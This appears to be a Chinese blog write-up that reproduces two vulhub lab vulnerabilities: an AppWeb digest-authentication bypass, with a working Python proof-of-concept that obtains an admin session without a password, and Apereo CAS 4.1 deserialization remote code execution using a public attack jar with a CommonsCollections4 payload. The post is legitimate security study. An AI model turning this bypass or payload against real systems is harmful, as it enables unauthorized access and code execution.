前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Apereo CAS 4.1反序列化与APPWebAuthByPass

Apereo CAS 4.1反序列化与APPWebAuthByPass

作者头像
UzJu@菜菜狗
发布2022-04-25 20:53:48
3510
发布2022-04-25 20:53:48
举报
文章被收录于专栏:UzJu和菜菜狗UzJu和菜菜狗

0x00 安装docker-compose

Ubuntu安装docker-compose

使用DaoCloud源下载

代码语言:javascript
复制
sudo curl -L https://get.daocloud.io/docker/compose/releases/download/1.22./docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose 

设置权限

代码语言:javascript
复制
sudo chmod +x /usr/local/bin/docker-compose 
image-20211228190423418
image-20211228190423418

0x01 启动漏洞环境

首先将漏洞环境全部Git到服务器上

代码语言:javascript
复制
git clone https://github.com/vulhub/vulhub.git 

随后进入到对应的目录即可

代码语言:javascript
复制
docker-compose up -d 

随后会开始下载

image-20211228231314976
image-20211228231314976

0x02 漏洞复现

访问8080端口,需要登录,burp修改一下参数

image-20211228231303903
image-20211228231303903

添加Authorization,我们可以看到获取到了一个set-cookie

image-20211228231500502
image-20211228231500502

随后我们将这个cookie添加到浏览器中(因为我这里没有下载插件,所以直接在检查中修改即可)

image-20211228231646558
image-20211228231646558
image-20211228231744666
image-20211228231744666

0x03 POC编写

使用Python进行POC编写,比较简单

代码语言:javascript
复制
#!/usr/bin/env python 
# -*- coding: UTF-8 -*- 
''' 
@Project :UzJuSecurityTools  
@File    :appWeb_Auth_Bypass_POC.py 
@Author  :UzJu 
@Date    :2021/12/28 10:58 下午  
@Email   :UzJuer@163.com 
''' 
import requests 
import re 
class AuthByPassPoc: 
 def __init__(self, url): 
        self.url = url 
 def getCookie(self): 
        poc_headers = { 
 'Authorization': 'Digest username="admin"' 
 } 
        result = requests.get(url=self.url, 
                              headers=poc_headers) 
 try: 
 if result.headers["Set-Cookie"]: 
 print(f"[+]存在漏洞, cookie值为: {result.headers['Set-Cookie']}, \n[+]进行下一步确认") 
 return result.headers['Set-Cookie'] 
 except: 
 print("[-]set-cookie为空,也许不存在漏洞") 
 def checkVuln(self): 
        headers = { 
 'cookie': self.getCookie() 
 } 
        result = requests.get(url=self.url, 
                              headers=headers) 
        title = re.search('<title>(.*)</title>', result.text, flags=re.I).group(1) # 获取标题 
 print("[+]获取登录后Title: ", title) 
if __name__ == '__main__': 
    main = AuthByPassPoc("http://ip:8080") 
    main.checkVuln()  
image-20211228233518153
image-20211228233518153

0x04 漏洞原理

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

  • basic 传统HTTP基础认证
  • digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
  • form 表单认证

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

0x05 参考

1、https://ssd-disclosure.com/index.php/archives/3676

0x06 启动Apereo CAS 4.1 反序列化RCE漏洞环境

首先将漏洞环境全部Git到服务器上

代码语言:javascript
复制
git clone https://github.com/vulhub/vulhub.git 

随后进入到对应的目录即可

代码语言:javascript
复制
docker-compose up -d 

随后会开始下载

image-20211228190451666
image-20211228190451666
image-20211228190505005
image-20211228190505005

随后可以看到漏洞环境已经启动成功

0x07 漏洞复现

下载提供的Apereo-CAS-Attack进行漏洞利用

代码语言:javascript
复制
https://github.com/vulhub/Apereo-CAS-Attack/releases 

随后执行

代码语言:javascript
复制
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success" 
image-20211228190724641
image-20211228190724641

随后访问8080端口

image-20211228191453316
image-20211228191453316

随便输入账号密码,替换execution参数

image-20211228191838220
image-20211228191838220

随后进入docker中查看

代码语言:javascript
复制
docker exec -it [dockerid] /bin/bash 
image-20211228192123896
image-20211228192123896

新建了一个success

0X08 参考

https://github.com/vulhub/vulhub/blob/master/apereo-cas/4.1-rce/README.md

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 安装docker-compose
  • 0x01 启动漏洞环境
  • 0x02 漏洞复现
  • 0x03 POC编写
  • 0x04 漏洞原理
  • 0x05 参考
  • 0x06 启动Apereo CAS 4.1 反序列化RCE漏洞环境
  • 0x07 漏洞复现
  • 0X08 参考
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档